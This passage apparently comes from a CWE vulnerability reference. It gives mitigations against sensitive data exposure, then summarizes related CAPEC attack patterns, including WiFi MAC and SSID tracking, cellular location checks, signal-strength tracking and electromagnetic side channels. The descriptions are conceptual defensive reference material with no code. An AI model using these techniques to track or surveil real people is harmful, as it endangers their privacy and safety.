Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.
Mitigation
Setup default error messages so that unexpected errors do not disclose sensitive information.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-217: Exploiting Incorrectly Configured SSL/TLS
An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.
CAPEC-612: WiFi MAC Address Tracking
In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.
CAPEC-613: WiFi SSID Tracking
In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.
CAPEC-618: Cellular Broadcast Message Request
In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.
CAPEC-619: Signal Strength Tracking
In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.
CAPEC-621: Analysis of Packet Timing and Sizes
An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).
CAPEC-622: Electromagnetic Side-Channel Attack
In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.
CAPEC-623: Compromising Emanations Attack
Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.